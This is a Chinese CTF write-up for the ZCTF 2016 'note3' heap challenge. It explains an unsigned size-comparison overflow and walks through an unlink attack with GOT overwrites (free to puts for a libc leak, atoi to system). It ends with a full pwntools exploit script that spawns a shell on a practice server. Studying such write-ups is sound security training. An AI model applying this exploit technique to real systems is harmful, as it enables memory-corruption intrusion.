unlink zctf 2016 note3

这个跟note2很相似,仍然是一个unlink问题,,,不同的是没法打印泄露了
详情请参考,note2

查看检查
在这里插入图片描述
在IDA里面看,发现其有增加,修改,删除,打印的功能
其中增加的功能
在这里插入图片描述
发现0x6020c0地方存放的是当前堆ptr,0x6020c0[i+8]存放的是其大小
也就是其布局是这样的:cur_ptr | ptr0 | ptr1 | … | ptr6 | cur_size | size_ptr0 | size_ptr…| size_ptr6
在输入size有个函数sub4009b9()中的sub_4008dd()函数中,i被定义为无符号数,所以在做比较的时候会自动向无符号数去转换,最终会导致溢出,其实在note2里面这个问题也存在
并且size只判断了小于0和大于1024的情况,并没有说size=0的情况!!
在这里插入图片描述
在这里插入图片描述

编辑功能
在这里插入图片描述
编辑功能同样用到了sub_4008DD()函数,所以在修改的时候,也存在同样的问题

delete函数
发现清空并且将指针置空了
在这里插入图片描述

利用思路,,通过创建多个堆,构建unlink,然后由于无法直接打印,所以考虑将free->put通过free堆块,来打印一些函数地址(这里使用atoi),进而泄露libc,最后在将atoi->system,进而执行shell

首先创建几个堆(我本来一开始是创建了三个,但是后面把堆都free掉了,不会用了,所以又加了两个,要是限制堆的数量不能大于3的话就GG(我太菜了))

content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(0x80,content) #0

add(0,'c'*0x8) #1  alloc 0x20

add(0x80,'b'*16) #2

add(0x20,'a'*8)#3
add(0x20,'a'*8)#3

add(0x20,'a'*8)#3

这的代码是我直接从note2复制过来了,毕竟思想都一样

这个时候在chunk0里面就伪造好了一个chunk,只要后面将chunk,1,2都删掉的话就会发生合并

然后就删掉chunk1-覆盖chunk2-释放chunk2 (unlink)
其代码:

delete(1)

content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content) #4(location 2)

delete(2)

在这里插入图片描述
释放之后,申请堆块,仍然会在chunk1的位置,溢出修改chunk2的堆头,修改其prev_size和size
在这里插入图片描述
此时ptr地址为:
在这里插入图片描述

然后释放chunk2,此时ptr0指向了0x6020b0(ptr-0x18),然后我们就能随意写了

content = 'd'*0x10+p64(free_got)*2+p64(atoi_got)+p64(0)+p64(atoi_got)*3
edit(0,content)

我们就将free等函数地址写入了ptr0中,同时将atoi写入到了ptr3,4,5中;然后要泄露地址的话得需要printf会put
在这里插入图片描述
在这里插入图片描述
通过如下将put写入到freegot中,

edit(0,p64(puts_plt)[:-1])

delete(3) #== put(atoi_addr)

在这里插入图片描述
然后free(3)就相当于把其atoi地址打印出来了
然后同样的方法,将atoi-》system,这时候再输入bin/sh就可以获得shell了

edit(4,p64(system_addr))

p.sendline('/bin/sh\x00')

在这里插入图片描述
获得shell
在这里插入图片描述
在这里插入图片描述

所有代码:

from pwn import *
#p =process('./zctf_2016_note3')
p = remote('node4.buuoj.cn',28583)
note3 = ELF('./zctf_2016_note3')
libc = ELF('./libc.so.6')
#context.log_level='debug'

def add(size,content):
	p.recvuntil('>>\n')
	p.sendline('1')
	p.recvuntil('1024)')
	p.sendline(str(size))
	p.recvuntil('content:')
	p.sendline(content)


def show():
	p.recvuntil('>>\n')
	p.sendline('2')


def edit(idx,content):
	p.recvuntil('>>\n')
	p.sendline('3')
	p.recvuntil('note:')
	p.sendline(str(idx))
	p.recvuntil('content:')
	p.sendline(content)

def delete(idx):
	p.recvuntil('>>\n')
	p.sendline('4')
	p.recvuntil('note:')
	p.sendline(str(idx))

ptr = 0x6020c8
fake_fd = ptr - 0x18 #0x6020b0  p
fake_bk = ptr - 0x10 #0x6020b8

content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(0x80,content) #0

add(0,'c'*0x8) #1  alloc 0x20

add(0x80,'b'*16) #2

add(0x20,'a'*8)#3
add(0x20,'a'*8)#3

add(0x20,'a'*8)#3


delete(1)

content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content) #4(location 2)

delete(2)
free_got = note3.got['free']
atoi_got = note3.got['atoi']
puts_plt = note3.plt['puts']

print ("free_got is :" ,hex(free_got))  #0x602018
print ("atoi_got is ",hex(atoi_got))    #0x602070
print ("puts_plt is ",hex(puts_plt))    #0x400730

content = 'd'*0x10+p64(free_got)*2+p64(atoi_got)+p64(0)+p64(atoi_got)*3
edit(0,content)


edit(0,p64(puts_plt)[:-1])


delete(3) #== put(atoi_addr)


atoi_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("atoi_addr is "+hex(atoi_addr)) #0x7fd74beaee90

libcbase=atoi_addr - libc.sym['atoi']

system_addr=libcbase+libc.sym['system']

log.success("system_addr is "+hex(system_addr)) #0x7fd74bebd3a0

print(p64(system_addr))

edit(4,p64(system_addr))

p.sendline('/bin/sh\x00')


#gdb.attach(p)









p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值